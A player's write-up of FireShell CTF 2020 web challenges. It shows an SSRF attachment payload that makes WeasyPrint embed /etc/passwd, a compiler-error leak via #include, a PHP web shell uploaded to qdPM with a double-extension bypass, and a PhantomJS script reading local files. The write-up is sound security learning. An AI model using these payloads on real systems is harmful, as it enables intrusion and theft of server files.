FireShell CTF 2020 Write-up

FireShell 2020

A CTF by FireShell Security Team.

UnderDawgs performed well as a team in this one. 😎

CTF Writeup

I mainly focused on Web, Misc and Recon challenges during the CTF.

1. URL to PDF

The service was making PDFs of webpages at a given URL. Hence we have a scenario of SSRF here. Confirmed the SSRF and the User-Agent involved in PDF making using Burp Collaborator.

So we now know that [WeasyPrint 51](http://weasyprint.org/) is being used in the Backend.
I was aware of the awesome research on PDF generators by @nahamsec and @daeken.
But just somehow ignored revisiting it :( and forgot that they had mentioned about weasyprint. I directly started scouring Documentation, found some interesting things like this and fuzzed around them and nothing worked. I even fuzzed with Javascript and later got to know that it does not support JS at all.
Digging more deep in documentation gave this interesting functionality

1
Attachments are related files, embedded in the PDF itself. They can be specified through <link rel=attachment> elements to add resources globally or through regular links with <a rel=attachment> to attach a resource that can be saved by clicking on said link. The title attribute can be used as description of the attachment.

It says that we can use anchor and link tag to embed files as an attachment in generated PDFs and attachments can be fetched from a PDF easily. Fuzzed a bit and got the following code working to read local files :)

1
2
3
4
5
6
7
8
<!DOCTYPE html>
<html>
<head>
<title>Captain</title>
</head>
<body>
<a rel='attachment' href='file:///etc/passwd'>
</body>

This will embed /etc/passwd in the generated pdf and we can extract it easily. It worked.
Now I should be able to read the flag at file:///home/ctf/flag as this is the location of the flag mentioned by admins. Nope, I tried for hours to read and downloaded multiple PDFs, fuzzed with more methods and the flag was at file:///flag. (β•―Β°β–‘Β°)β•―οΈ΅ ┻━┻

2. CaaS

Compiler as a Service.
It was taking valid C/C++ code, compiling it and giving us binary as downloadable.
This was supposed to be easy but my overthinking programmer mind wanted to explore without even using the service first.
I started searching for ways to read and retain files in the binaries at compile time. All the ways seemed tuff.
I came back to service and saw that the compile-time errors were too verbose and were returned back to us.
This means if we let it #include an invalid header file, we will get the content of the line where the error happened. A good candidate is /flag file which has only one line and that too is not valid C code. Done!

1
#include "/flag"

3. wfPM

Work force and Program management. The challenge author tried quite well to hide what this product was. But upon several observations on cookies and JS files, I found out that this was qdPM v9.1.
This has several CVEs. The Post-RCE and info disclosure ones looked interesting.
The RCE was in User profile picture upload functionality and it was a good candidate to read local flag file but we need a legit account on the app first and there was no visible signup feature. I tried replacing /index.php/login with /index.php/signup and index.php/register etc. but no luck there.
For some time I thought of somehow using Info disclosure CVEs to disclose already present accounts.
The SQL error logs from this info disclosures were hinting towards 0-Day SQli (as this is an obscure PHP app) Followed that rabbit hole for a while.
Then my team-mate @Behroz easily got logged in to the app and was asking doubt and sharing screenshots of Post-Login dashboard, I was like WTF πŸ€” (when did he became so 1337), how did he get logged in successfully. He shared that the Author has created backdoor signup at /regiter.php and hinted about it in /robots.txt :) Lol.
This is where even Top 10 teams were stuck! Nobody did basic Recon.

Signed up and uploaded shell.php in profile picture:

1
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

The backend was checking for the file extension, bypassed it with shell.php.png.

4. Screenshoter

The author gave a webpage screenshotting tool as a service.
This is similar to URL to PDF, It was URL to PNG.
Screenshotted my Burp collaborator endpoint and got to know that they were using PhantomJS to generate web page screenshots. :)

Now unlike WeasyPrint client, PhantomJs supports JS execution in webpages. Used following JS to read local file:

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html>
<head>
<title>Captain</title>
</head>
<body>
<script>
flag=new XMLHttpRequest;flag.onload=function(){document.write(this.responseText)};flag.open("GET","file:///flag");flag.send();
</script>
</body>
</html>

Another simple Sanity check challenge was related to social media recon, A QR code containing Flag in an image was upload to all the social media channels of the FireShell team.

Writeups by Team-mates

  1. Cars - Android Challenge - by @pwnchief - Link
  2. Coming Soon ..

P.S. UnderDawgs placed 25th.

During this CTF, I learned a lot by following rabbit holes.
Excited to UpSolve the unsolved challenges πŸ˜‹.
Coming to know that every other CTF has a different vibe and learning opportunities.

Previous CTF by p4 team taught that good teams don’t keep anything purposeless in a challenge, everything can be used in them. WriteUp here.

Progress, not Perfection,
CaptainFreak